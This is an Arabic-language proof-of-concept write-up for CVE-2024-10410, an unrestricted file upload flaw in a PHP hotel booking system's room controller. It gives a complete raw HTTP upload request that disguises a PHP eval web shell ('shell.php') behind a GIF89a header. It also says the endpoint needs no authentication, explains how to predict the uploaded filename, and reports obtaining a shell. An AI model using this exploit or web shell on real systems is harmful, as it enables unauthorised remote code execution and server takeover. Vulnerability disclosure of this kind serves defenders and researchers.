
إثبات المفهوم لاستغلال CVE-2024-10410: رفع ملف غير مقيد في نظام حجز الفنادق عبر الإنترنت. يُظهر تجاوز التحقق من الصور عبر حقن رأس GIF لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
نظام حجز فنادق عبر الإنترنت بلغة PHP/MySQLi مع كود المصدر | SourceCodester
تم العثور على ثغرة أمنية عالية الخطورة في نظام حجز الفنادق عبر الإنترنت، تؤثر على وظيفة الرفع في ملف /marimar/admin/mod_room/controller.php. أدت عملية تجاوز الكشف للمعامل image إلى رفع غير محدود للملفات. يمكن شن الهجمات عن بُعد.
marimar\admin\mod_room\controller.php

بعد رفع الملف، يقوم المتغير $image_name بتغيير اسم الملف إلى السنة والشهر واليوم الحاليين، ثم يضيف _ واسم الملف المرفوع.
تقع الثغرة في المتغير $image_size، الذي يتحقق مما إذا كان الملف صورة أم لا، وإلا فإنه يعطل الرفع. لذا كل ما علينا فعله هو إضافة رأس الصورة أمام الملف الخبيث المحقون لتجاوز الكشف.
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
تم وضع الكود الخبيث مسبوقًا بـ GIF89a متنكرًا كملف gif. قم ببناء حزمة الرفع، ويمكنك رؤية أن الكوكي قد حُذف، مما يشير إلى أن النظام لا يحتوي على مصادقة ويمكن شن هجمات عن بُعد.

على الرغم من أنه كان تحذيرًا، فقد تم رفع الملف بنجاح، وتم استنتاج اسم الملف بناءً على الوقت الحالي 2024/10/25 21:55.


نجاح في الحصول على شيل (getshell).